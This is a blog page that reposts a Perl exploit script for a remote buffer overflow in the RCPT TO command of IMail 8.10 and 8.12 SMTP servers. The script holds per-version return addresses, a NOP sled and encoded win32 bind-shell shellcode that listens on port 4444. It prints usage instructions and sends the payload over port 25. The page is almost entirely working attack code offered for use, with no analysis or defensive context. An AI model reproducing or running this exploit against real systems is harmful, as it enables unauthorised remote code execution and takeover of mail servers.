鬼仔's Blog

use IO::Socket::INET;
use Switch;

if (@ARGV < 3) {
print "--------------------------------------------------------------------\n";
print "Usage : Imail-rcpt-overflow.pl -hTargetIPAddress -oTargetReturnAddress\n";
print " Return address: \n";
print " o1 - IMail 8.12 Version\n";
print " o2 - IMail 8.10 Versio\n";
print " Example for IMail 8.12 Version: ./Imail-rcpt-overflow.pl -h127.0.0.1 -o1 \n";
print "--------------------------------------------------------------------\n";
}

use IO::Socket::INET;

my $host = 10.0.0.2;
my $port = 25;
my $reply;
my $request;
my $happystack="\x81\xc4\xff\xef\xff\xff\x44";

foreach (@ARGV) {
$host = $1 if ($_=~/-h((.*)\.(.*)\.(.*)\.(.*))/);
$eip = $1 if ($_=~/-o(.*)/);
}

switch ($eip) {
case 1 { $eip="\xc4\x91\x01\x10" } # pop eax ret in SmtpDLL.dll for IMail 8.12
case 2 { $eip="\xc3\x88\x01\x10" } # pop eax ret in SmtpDLL.dll for IMail 8.10
}

# win32_bind - EXITFUNC=seh LPORT=4444

my $shellcode = "\x33\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x93".
"\x7b\xbd\x36\x83\xee\xfc\xe2\xf4\x6f\x11\x56\x7b\x7b\x82\x42\xc9".
"\x6c\x1b\x36\x5a\xb7\x5f\x36\x73\xaf\xf0\xc1\x33\xeb\x7a\x52\xbd".
"\xdc\x63\x36\x69\xb3\x7a\x56\x7f\x18\x4f\x36\x37\x7d\x4a\x7d\xaf".
"\x3f\xff\x7d\x42\x94\xba\x77\x3b\x92\xb9\x56\xc2\xa8\x2f\x99\x1e".
"\xe6\x9e\x36\x69\xb7\x7a\x56\x50\x18\x77\xf6\xbd\xcc\x67\xbc\xdd".
"\x90\x57\x36\xbf\xff\x5f\xa1\x57\x50\x4a\x66\x52\x18\x38\x8d\xbd".
"\xd3\x77\x36\x46\x8f\xd6\x36\x76\x9b\x25\xd5\xb8\xdd\x75\x51\x66".
"\x6c\xad\xdb\x65\xf5\x13\x8e\x04\xfb\x0c\xce\x04\xcc\x2f\x42\xe6".
"\xfb\xb0\x50\xca\xa8\x2b\x42\xe0\xcc\xf2\x58\x50\x12\x96\xb5\x34".
"\xc6\x11\xbf\xc9\x43\x13\x64\x3f\x66\xd6\xea\xc9\x45\x28\xee\x65".
"\xc0\x28\xfe\x65\xd0\x28\x42\xe6\xf5\x13\xac\x6a\xf5\x28\x34\xd7".
"\x06\x13\x19\x2c\xe3\xbc\xea\xc9\x45\x11\xad\x67\xc6\x84\x6d\x5e".
"\x37\xd6\x93\xdf\xc4\x84\x6b\x65\xc6\x84\x6d\x5e\x76\x32\x3b\x7f".
"\xc4\x84\x6b\x66\xc7\x2f\xe8\xc9\x43\xe8\xd5\xd1\xea\xbd\xc4\x61".
"\x6c\xad\xe8\xc9\x43\x1d\xd7\x52\xf5\x13\xde\x5b\x1a\x9e\xd7\x66".
"\xca\x52\x71\xbf\x74\x11\xf9\xbf\x71\x4a\x7d\xc5\x39\x85\xff\x1b".
"\x6d\x39\x91\xa5\x1e\x01\x85\x9d\x38\xd0\xd5\x44\x6d\xc8\xab\xc9".
"\xe6\x3f\x42\xe0\xc8\x2c\xef\x67\xc2\x2a\xd7\x37\xc2\x2a\xe8\x67".
"\x6c\xab\xd5\x9b\x4a\x7e\x73\x65\x6c\xad\xd7\xc9\x6c\x4c\x42\xe6".
"\x18\x2c\x41\xb5\x57\x1f\x42\xe0\xc1\x84\x6d\x5e\x63\xf1\xb9\x69".
"\xc0\x84\x6b\xc9\x43\x7b\xbd\x36";

my $nop="\x41"x137;

my $buffer = "RCPT TO:"."\x20\x3c\x40".$eip . "\x3a" .$nop.$happystack.$shellcode."\x4a\x61\x63\x3e"."\n";

my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";

recv($socket, $reply, 1024, 0);
print "Response:" . $reply;

$request = "EHLO " . "\r\n";
send $socket, $request, 0;
print "[+] Sent EHLO\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;

$request = "MAIL FROM:" . "\x20" . "\x3c"."acaro". "\x40"."jervus.it" . "\x3e" . "\r\n";
send $socket, $request, 0;
print "[+] Sent MAIL FROM\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;

$request = $buffer;
send $socket, $request, 0;
print "[+] Sent malicius request\n";
close $socket;